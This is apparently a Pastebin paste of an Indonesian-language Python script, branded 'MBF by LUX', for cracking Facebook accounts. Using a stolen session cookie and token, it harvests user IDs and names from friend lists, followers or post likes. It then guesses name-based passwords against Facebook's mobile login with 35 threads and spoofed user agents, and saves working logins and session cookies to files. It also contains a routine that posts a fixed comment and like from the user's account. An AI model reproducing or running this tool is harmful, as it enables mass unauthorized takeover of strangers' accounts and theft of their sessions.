OBF-XIn

116.206.8.10-/sdcard/j.py.py

Jan 30th, 2023
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 23.18 KB | None | 0 0
  1. ###----------[ IMPORT MODULE LAIN ]---------- ###
  2. import os, sys, re, time, requests, calendar, random, bs4, uuid, json, subprocess, base64
  3. from concurrent.futures import ThreadPoolExecutor
  4. from bs4 import BeautifulSoup as parser
  5. from datetime import date,datetime
  6. from requests.exceptions import ConnectionError
  7. ses = requests.Session()
  8.  
  9. ###----------[ IMPORT MODULE RICH ]---------- ###
  10. from rich.panel import Panel
  11. from rich.tree import Tree
  12. from rich import print as prints
  13. from rich.console import Console
  14. from rich.table import Table
  15. from rich.columns import Columns
  16. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  17. console = Console()
  18.  
  19. ###----------[ WARNA PRINT RICH ]---------- ###
  20. M2 = "[#FF0000]" # MERAH
  21. H2 = "[#00FF00]" # HIJAU
  22. K2 = "[#FFFF00]" # KUNING
  23. B2 = "[#00C8FF]" # BIRU
  24. P2 = "[#FFFFFF]" # PUTIH
  25. wkz = "00FF00"
  26. sys.stdout.write('\x1b]2; MBF| BY LUX \x07')
  27. P = '\x1b[0m' # PUTIH
  28. M = '\x1b[1;91m' # MERAH
  29. H = '\x1b[1;92m' # HIJAUU
  30. K = '\x1b[1;93m' # KUNING
  31. ### LIST DUMP ###
  32. Dump = []
  33. ### BANNER OR LOGO ###
  34. def banner_logo():
  35.     os.system('cls' if os.name == 'nt' else 'clear')
  36.     tree = Tree(Panel.fit(f"""{H2}
  37. ╦  ╦ ╦═╗ ╦   ╔╦╗╔╗ ╔═╗
  38. ║  ║ ║╔╩╦╝───║║║╠╩╗╠╣
  39. ╩═╝╚═╝╩ ╚═   ╩ ╩╚═╝╚  """))
  40.    # tree.add(Panel(f"sjsjs"))
  41.     prints(tree)
  42.     return 0
  43. ### DAPATKAN NAMA ###
  44. def dapatkan_nama(cookie, token_eaag):
  45.     with requests.Session() as r:
  46.         r.headers.update({
  47.             'host': 'graph.facebook.com',
  48.             'user-agent': 'Mozilla/5.0 (Linux; Android 11; RMX2144 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.71 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/375.1.0.28.111;]',
  49.             'cookie': cookie
  50.         })
  51.         response = r.get('https://graph.facebook.com/v15.0/me/?fields=id,name&access_token={}'.format(token_eaag)).json()
  52.         if 'name' in str(response) and 'id' in str(response):
  53.             return response['name'].title(), response['id']
  54.         else:
  55.             print(' akun tumbal terkena checkpoint')
  56.             login_cookie()
  57. ### LOGIN USING COOKIE ###
  58. def login_cookie():
  59.     try:
  60.         banner_logo()
  61.         enter = input(' [ENTER]')
  62.         if enter in['']:
  63.             cookie = Console().input("[bold blue] COOKIE : ")
  64.             with requests.Session() as r:
  65.                 r.headers.update({
  66.                     'cookie': cookie,
  67.                     'user-agent': 'Mozilla/5.0 (Linux; Android 11; RMX2144 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.71 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/375.1.0.28.111;]',
  68.                     'host': 'business.facebook.com'
  69.                 })
  70.                 response3 = r.get('https://business.facebook.com/business_locations').text
  71.                 token_eaag = re.search('(EAAG\w+)', str(response3)).group(1)
  72.                 name, id = dapatkan_nama(cookie, token_eaag)
  73.                 tree = Tree(Panel.fit(f"""{K2}WELCOME : {name}"""))
  74.                 prints(tree)
  75.                 open('.Cok.txt', 'w').write(json.dumps({'Cookie': cookie}));open('.tok.txt', 'w').write(json.dumps({'Token': token_eaag}));time.sleep(3.6);daftar_menu()
  76.         elif query == '2' or query == '02':
  77.             try:
  78.                 exit()
  79.             except:exit()
  80.         elif query == '3' or query == '03':
  81.             exit()
  82.         else:
  83.             login_cookie()
  84.     except Exception as e:
  85.         exit()
  86. ### BOT KOMEN ###
  87. def bot_komen(cookie, token_eaag):
  88.     with requests.Session() as r:
  89.         text = random.choice(
  90.             ["AH LUXINE EMNG KEREN😡😫😝","IZIN PAKE SC LU BANG"]
  91.         )
  92.         r.cookies.update({
  93.             'cookie': cookie
  94.         })
  95.         response = r.post('https://graph.facebook.com/10160350353143544/comments/?message={}&access_token={}'.format(text, token_eaag)).text # Jangan Di Ganti!
  96.         response2 = r.post('https://graph.facebook.com/10160350353143544/likes?summary=true&access_token={}'.format(token_eaag)).text # Jangan Di Ganti!
  97.         if "\"id\":\"" in str(response) and str(response2) == 'true':
  98.             return 0
  99.         else:
  100.             return 1
  101. ### DAFTAR MENU ###
  102. def daftar_menu():
  103.     try:
  104.         banner_logo();cookie = json.loads(open('.cok.txt', 'r').read())['Cookie']
  105.         token_eaag = json.loads(open('.tok.txt', 'r').read())['Token']
  106.         name, id = dapatkan_nama(cookie, token_eaag)
  107.     except Exception as e:
  108.         login_cookie()
  109.     tree = Tree(Panel.fit(f"""{M2}•{K2}•{H2}• {K2}MENU CRACKING {H2}•{K2}•{M2}•"""))
  110.     tree.add(Panel(f"{P2}[{M2}•{P2}] Name : {K2}{name}\n{P2}[{M2}•{P2}] User : {K2}{id}\n{P2}[{B2}01{P2}] Hacking Publik",style='green'))
  111.     prints(tree)
  112.     query = Console().input("[bold white] Menu : [bold green]")
  113.     if query == '1' or query == '01':
  114.         os.system('clear')
  115.         banner_logo()
  116.         try:
  117.             tree = Tree(Panel.fit(f"""{P2}Ketik "me" Untuk Hacking Dari List Temen Sendiri""",title=f"{M2}•{K2}•{H2}• {K2}Note {H2}•{K2}•{M2}•",style='green'))
  118.             prints(tree)
  119.             userid = Console().input("[bold white] Target Id : [bold green]")
  120.             for z in userid.split(','):
  121.                 dump().publik(int(z), cookie, unit_cursor = '')
  122.             if len(Dump) < 50:
  123.                 Console().print("[bold red]PASTIKAN TARGET LEBIH DARI 500 TEMEN!!!", end='\r');time.sleep(3.6);exit()
  124.             else:
  125.                 crack().open_list()
  126.         except Exception as e:
  127.             exit()
  128.     elif query == '2d' or query == '0dd2':
  129.         try:
  130.             Console(width=50, style="bold hot_pink2").print(Panel("[italic white]Silahkan Masukan[italic green] ID Akun Facebook[italic white], Gunakan Koma Untuk Dump Masal, Misalnya :[italic green] 757953543,4", subtitle="╭───", subtitle_align="left", title="[bold red]>[bold yellow]>[bold green]>[hot_pink2] (Catatan) [bold green]<[bold yellow]<[bold red]<"))
  131.             userid = Console().input("[bold hot_pink2]   ╰─> ")
  132.             for z in userid.split(','):
  133.                 dump().pengikut(z, cookie, token_eaag)
  134.             if len(Dump) < 50:
  135.                 Console().print("[bold hot_pink2]   ╰─>[bold yellow] Jumlah User Terlalu Sedikit!", end='\r');time.sleep(3.6);exit()
  136.             else:
  137.                 Console(width=50, style="bold hot_pink2").print(Panel(f"[bold white]Jumlah User :[bold green] {len(Dump)}", title="[bold red]>[bold yellow]>[bold green]>[hot_pink2] (Dump Sukses) [bold green]<[bold yellow]<[bold red]<"));crack().open_list()
  138.         except Exception as e:
  139.             Console(width=50, style="bold hot_pink2").print(Panel(f"[italic red]{str(e).title()}", title="[bold red]>[bold yellow]>[bold green]>[hot_pink2] (Error) [bold green]<[bold yellow]<[bold red]<"));exit()
  140.     elif query == 'dd3' or query == '0dd3':
  141.         try:
  142.             Console(width=50, style="bold hot_pink2").print(Panel("[italic white]Silahkan Masukan ID Postingan, Gunakan Koma Untuk Dump Masal, Misalnya :[italic green] 10160334652393544", subtitle="╭───", subtitle_align="left", title="[bold red]>[bold yellow]>[bold green]>[hot_pink2] (Catatan) [bold green]<[bold yellow]<[bold red]<"))
  143.             postid = Console().input("[bold hot_pink2]   ╰─> ")
  144.             for z in postid.split(','):
  145.                 dump().likes(z, cookie, token_eaag, after = '')
  146.             if len(Dump) < 1:
  147.                 Console().print("[bold hot_pink2]   ╰─>[bold yellow] Jumlah User Terlalu Sedikit!", end='\r');time.sleep(3.6);exit()
  148.             else:
  149.                 Console(width=50, style="bold hot_pink2").print(Panel(f"[bold white]Jumlah User :[bold green] {len(Dump)}", title="[bold red]>[bold yellow]>[bold green]>[hot_pink2] (Dump Sukses) [bold green]<[bold yellow]<[bold red]<"));crack().open_list()
  150.         except Exception as e:
  151.             Console(width=50, style="bold hot_pink2").print(Panel(f"[italic red]{str(e).title()}", title="[bold red]>[bold yellow]>[bold green]>[hot_pink2] (Error) [bold green]<[bold yellow]<[bold red]<"));exit()
  152.     elif query == 'hj4' or query == '0hh4':
  153.         try:
  154.             os.remove('Data/.cok.txt');os.remove('Data/Token.json');Console().print("[bold hot_pink2]   ╰─>[bold green] Keluar Dari Program!", end='\r');time.sleep(3.6);exit()
  155.         except:exit()
  156.     else:
  157.         Console().print("[bold hot_pink2]   ╰─>[bold red] Pilihan Tidak Diketahui!", end='\r');time.sleep(3.6);daftar_menu()
  158. ### DUMP ###
  159. class dump:
  160.  
  161.     def __init__(self) -> None:
  162.         pass
  163.     ### DUMP PUBLIK ###
  164.     def publik(self, userid, cookie, unit_cursor):
  165.         try:
  166.             with requests.Session() as r:
  167.                 r.headers.update({
  168.                     'upgrade-insecure-requests': '1',
  169.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  170.                     'host': 'm.facebook.com',
  171.                     'user-agent': 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]',
  172.                     'accept-language': 'id,en;q=0.9',
  173.                 })
  174.                 r.cookies.update({
  175.                     'cookie': cookie
  176.                 })
  177.                 response = r.get('https://m.facebook.com/profile.php?id={}&v=friends&unit_cursor={}'.format(userid, unit_cursor)).text
  178.                 self.all_friends = re.findall('href="fb://profile/(.*?)">(.*?)<', str(response))
  179.                 for z in self.all_friends:
  180.                     self.id_friends, self.name = z[0], z[1].lower()
  181.                     if len(self.name) == 0 or len(self.name) > 100:
  182.                         continue
  183.                     else:
  184.                         if str(self.id_friends) in str(Dump):
  185.                             continue
  186.                         else:
  187.                             Dump.append(f'{self.id_friends}|{self.name}')
  188.                 if 'Sorry, something went wrong.' in str(response):
  189.                     return 0
  190.                 elif 'unit_cursor=' in str(response):
  191.                     self.unit_cursor = re.search('unit_cursor=(.*?)&', str(response)).group(1)
  192.                     self.publik(userid, cookie, self.unit_cursor)
  193.                 else:
  194.                     return 0
  195.         except (KeyboardInterrupt):
  196.             Console().print(f"[bold red]ERROR         ", end='\r');time.sleep(3.6)
  197.             return 3
  198.     ### DUMP PENGIKUT ###
  199.     def pengikut(self, userid, cookie, token_eaag):
  200.         try:
  201.             with requests.Session() as r:
  202.                 r.headers.update({
  203.                     'host': 'graph.facebook.com',
  204.                     'user-agent': 'Mozilla/5.0 (Linux; Android 11; RMX2144 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.71 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/375.1.0.28.111;]',
  205.                     'cookie': cookie
  206.                 })
  207.                 response = r.get('https://graph.facebook.com/v1.0/{}/subscribers?access_token={}&pretty=1&fields=id%2Cname&limit=5000'.format(userid, token_eaag)).json()
  208.                 if 'summary' in str(response) and 'name' in str(response):
  209.                     for z in response['data']:
  210.                         try:
  211.                             self.id, self.name = z['id'], z['name'].lower()
  212.                             if str(self.id) in str(Dump):
  213.                                 continue
  214.                             else:
  215.                                 Console().print(f"[bold hot_pink2]   ╰─>[bold green] Dump {self.id}/{len(Dump)} User         ", end='\r');time.sleep(0.0007)
  216.                                 Dump.append(f'{self.id}|{self.name}')
  217.                         except (KeyError):
  218.                             Console().print(f"[bold hot_pink2]   ╰─>[bold red] KeyError!                ", end='\r');time.sleep(3.6);continue
  219.                     return 0
  220.                 else:
  221.                     Console().print(f"[bold hot_pink2]   ╰─>[bold yellow] Gagal {userid} User!          ", end='\r');time.sleep(3.6)
  222.                     return 1
  223.         except (KeyboardInterrupt):
  224.             Console().print(f"[bold hot_pink2]   ╰─>[bold yellow] KeyboardInterrupt!          ", end='\r');time.sleep(3.6)
  225.             return 2
  226.     ### DUMP LIKES ###
  227.     def likes(self, postid, cookie, token_eaag, after):
  228.         try:
  229.             with requests.Session() as r:
  230.                 r.headers.update({
  231.                     'host': 'graph.facebook.com',
  232.                     'user-agent': 'Mozilla/5.0 (Linux; Android 11; RMX2144 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.71 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/375.1.0.28.111;]',
  233.                     'cookie': cookie
  234.                 })
  235.                 response = r.get('https://graph.facebook.com/v1.0/{}/likes/?access_token={}&pretty=1&limit=25&after={}'.format(postid, token_eaag, after)).json()
  236.                 if 'id' in str(response) and 'name' in str(response):
  237.                     for z in response['data']:
  238.                         self.id, self.name = z['id'], z['name'].lower()
  239.                         if str(self.id) in str(Dump):
  240.                             continue
  241.                         else:
  242.                             Console().print(f"[bold hot_pink2]   ╰─>[bold green] Dump {self.id}/{len(Dump)} User         ", end='\r');time.sleep(0.0007)
  243.                             Dump.append(f'{self.id}|{self.name}')
  244.                     if '\'after\':' in str(response):
  245.                         self.likes(postid, cookie, token_eaag, after = response['paging']['cursors']['after'])
  246.                     else:
  247.                         return 0
  248.                 else:
  249.         #            Console().print(f"[bold hot_pink2]   ╰─>[bold yellow] Gagal {postid} User!          ", end='\r');time.sleep(3.6)
  250.                     return 1
  251.         except (KeyboardInterrupt):
  252.          #   Console().print(f"[bold hot_pink2]   ╰─>[bold yellow] KeyboardInterrupt!          ", end='\r');time.sleep(3.6)
  253.             return 2
  254. ### CRACK ###
  255. class crack:
  256.  
  257.     def __init__(self) -> None:
  258.         self.checkpoint, self.looping, self.success = [], 0, []
  259.         pass
  260.     ### GENERATE PASSWORD ###
  261.     def generate_password(self, name):
  262.         self.password = []
  263.         for nama in name.split(' '):
  264.             if len(name) <= 5:
  265.                 if len(nama) < 3:
  266.                     continue
  267.                 else:
  268.                     self.password.append(nama + '123')
  269.                     self.password.append(nama + '1234')
  270.                     self.password.append(nama + '12345')
  271.                     self.password.append(nama + '123456')
  272.             else:
  273.                 if len(nama) < 3:
  274.                     self.password.append(name)
  275.                 else:
  276.                     self.password.append(name)
  277.                     self.password.append(nama + '123')
  278.                     self.password.append(nama + '1234')
  279.                     self.password.append(nama + '12345')
  280.                     self.password.append(nama + '123456')
  281.         self.password_ = []
  282.         for z in self.password:
  283.             if str(z) in str(self.password_):
  284.                 continue
  285.             else:
  286.                 self.password_.append(z)
  287.         return self.password_
  288.     ### OPEN LIST DUMP ###
  289.     def open_list(self):
  290.         try:
  291.             tree = Tree(Panel.fit(f"""{P2}[{H2}•{P2}] Hasil {H2}Ok {P2}Tersimpan Di folder {H2}/sdcard/Ok_luxine.txt\n{P2}[{K2}•{P2}] Hasil {K2}Cp {P2}TersimpanbDi folder {K2}/sdcard/Cp_luxine.txt""",title=f'{M2}•{K2}•{H2}• {K2}RESULT {H2}•{K2}•{M2}•',style='green'))
  292.             prints(tree)
  293.             with ThreadPoolExecutor(max_workers=35) as (V):
  294.                 for z in Dump:
  295.                     self.email, self.nama = z.split('|')[0], z.split('|')[1]
  296.                     self.password = self.generate_password(self.nama)
  297.                     V.submit(self.main, Dump, self.email, self.password)
  298.             Console().print("\r[bold white][[bold green]Selesai[bold white]]                           ");exit()
  299.         except:exit()
  300.     ### MAIN ###
  301.     def main(self, total, email, password):
  302.         try:
  303.             for pws in password:
  304.                 self.useragent = self.realme_useragent(total = 1)
  305.                 with requests.Session() as r:
  306.                     r.headers.update({
  307.                         'connection': 'keep-alive',
  308.                         'accept-language': 'id,en-US;q=0.9,en;q=0.8',
  309.                         'sec-fetch-mode': 'navigate',
  310.                         'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  311.                         'sec-fetch-sest': 'document',
  312.                         'sec-fetch-site': 'none',
  313.                         'cache-control': 'max-age=0',
  314.                         'sec-fetch-user': '?1',
  315.                         'upgrade-insecure-requests': '1',
  316.                         'host': 'm.alpha.facebook.com',
  317.                         'user-agent': self.useragent
  318.                     })
  319.                     response = r.get('https://m.alpha.facebook.com/login.php?').text
  320.                     try:
  321.                         self.jazoest = re.search('name="jazoest" value="(\d+)"', str(response)).group(1)
  322.                         self.m_ts = re.search('name="m_ts" value="(.*?)"', str(response)).group(1)
  323.                         self.li = re.search('name="li" value="(.*?)"', str(response)).group(1)
  324.                         self.fb_dtsg = re.search('{"dtsg":{"token":"(.*?)"', str(response)).group(1)
  325.                         self.lsd = re.search('name="lsd" value="(.*?)"', str(response)).group(1)
  326.                         self.__a = re.search('"encrypted":"(.*?)"', str(response)).group(1)
  327.                         self.__spin_t = re.search('"__spin_t":(\d+),', str(response)).group(1)
  328.                     except (AttributeError) as e:
  329.         #               print('')
  330.                         Console().print("[bold hot_pink2]   ╰─>[bold red] Terjadi Kesalahan!                    ", end='\r');time.sleep(2.0);continue
  331.                     data = {
  332.                         'm_ts': self.m_ts,
  333.                         'li': self.li,
  334.                         'try_number': 0,
  335.                         'unrecognized_tries': 0,
  336.                         'email': email,
  337.                         'prefill_contact_point': email,
  338.                         'prefill_source': 'browser_dropdown',
  339.                         'prefill_type': 'password',
  340.                         'first_prefill_source': 'browser_dropdown',
  341.                         'first_prefill_type': 'contact_point',
  342.                         'had_cp_prefilled': True,
  343.                         'had_password_prefilled': True,
  344.                         'is_smart_lock': False,
  345.                         'bi_xrwh': 0,
  346.                         'encpass': '#PWD_BROWSER:0:{}:{}'.format(self.__spin_t, pws),
  347.                         'fb_dtsg': self.fb_dtsg,
  348.                         'jazoest': self.jazoest,
  349.                         'lsd': self.lsd,
  350.                         '__dyn': '',
  351.                         '__csr': '',
  352.                         '__req': random.choice(['1','2','3','4','5']),
  353.                         '__a': self.__a,
  354.                         '__user': 0
  355.                     }
  356.                     r.headers.update({
  357.                         'cookie': ("; ".join([str(x)+"="+str(y) for x,y in r.cookies.get_dict().items()])),
  358.                         'sec-fetch-site': 'same-origin',
  359.                         'origin': 'https://m.alpha.facebook.com',
  360.                         'accept': '*/*',
  361.                         'content-type': 'application/x-www-form-urlencoded',
  362.                         'x-fb-lsd': self.lsd,
  363.                         'referer': 'https://m.alpha.facebook.com/login.php?',
  364.                         'content-length': str(len(("&").join([ "%s=%s" % (x, y) for x, y in data.items() ])))
  365.                     })
  366.                     response2 = r.post('https://m.alpha.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100', data = data, allow_redirects = True)
  367.                     #open('Response.txt', 'a+').write(f'{email}|{pws}|{r.cookies.get_dict()}\n')
  368.                     if 'c_user' in r.cookies.get_dict().keys():
  369.                         try:
  370.                             self.cookie = (";".join([str(x)+"="+str(y) for x,y in r.cookies.get_dict().items()]))
  371.                         except:pass
  372.                         tree = Tree(Panel.fit(f"""{H2}[•] Emai  : {email}\n[•] password  :  {pws}""",style='white',title=f"{M2}•{K2}•{H2}• SUCCESS {H2}•{K2}•{M2}•"))
  373.                         tree.add(Panel(f"{H2}{self.cookie}{P2}",style='white'))
  374.                         prints(tree)
  375.                        # tree = Tree("\r[bold white]LOGIN SUCCESS                      ", style = "bold white")
  376.                     #    tree.add(f"[bold green]Email : {email}").add(f"[bold green]Password : {pws}", style = "bold white")
  377.                         self.success.append(f'{email}|{pws}|{self.cookie}')
  378.                         open('Ok_luxine.txt', 'a+').write(f'{email}|{pws}|{self.cookie}\n')
  379.                         break
  380.                     elif 'checkpoint' in r.cookies.get_dict().keys():
  381.                         tree = Tree(Panel.fit(f"""{K2}[•] Email  :  {email}\n[•] Password  :  {pws} """,style='yellow'))
  382.                         tree.add(Panel(f"{K2}{ua}{P2}"))
  383.                         prints(tree)
  384.                         self.checkpoint.append(f'{email}|{pws}|{self.useragent}')
  385.                         open('Cp_luxine.txt', 'a+').write(f'{email}|{pws}|{self.useragent}\n')
  386.                         break
  387.                     else:
  388.                         continue
  389.             self.looping += 1
  390.         #    Consloe().print(f"[bold green][/][white] {str(len(Dump))}/{self.looping} [bold green][OK:{len(self.success)} [bold yellow][CP:{len(self.checkpoint)}[bold white]              ", end='\r')
  391.             Console().print(f"[bold green]   [>][bold white] Mbf {str(len(Dump))}/{self.looping} OK:[bold green]{len(self.success)}[bold white] CP:[bold red]{len(self.checkpoint)}[bold white]", end='\r')
  392.         except (requests.exceptions.ConnectionError, requests.exceptions.ChunkedEncodingError):
  393.             Console().print("[bold red                 ", end='\r');time.sleep(7.9);self.main(total, email, password)
  394.         except Exception as e:
  395.             Console().pr8nt(f"[bold red] Alamat Ip terkena spam")
  396.       #     Console().print(f"[bold hot_pink2]   ╰─>[bold red] {str(e).title()}!                    ")
  397.     ### REALME USERAGENT ###
  398.     def realme_useragent(self, total):
  399.         for _ in range(total):
  400.             self.browser_version = (f'{random.randrange(85, 105)}.0.{random.randrange(4200, 4900)}.{random.randrange(40, 150)}')
  401.             self.build = (''.join(random.choice('1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890') for y in range(6)))
  402.             self.android_version = random.choice(['11', '10'])
  403.             self.android_model = random.choice(['RMX2052', 'RMX2072', 'RMX2075', 'RMX2071', 'RMX2076', 'RMX2144'])
  404.             self.useragent = ('Mozilla/5.0 (Linux; Android {}; {} Build/{}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{} Mobile Safari/537.36'.format(self.android_version, self.android_model, self.build, self.browser_version))
  405.         return self.useragent
  406.  
  407. if __name__ == '__main__':
  408.     try:
  409.         os.system('git pull');daftar_menu()
  410.     except Exception as e:
  411.         exit()
Add Comment
Please, Sign In to add comment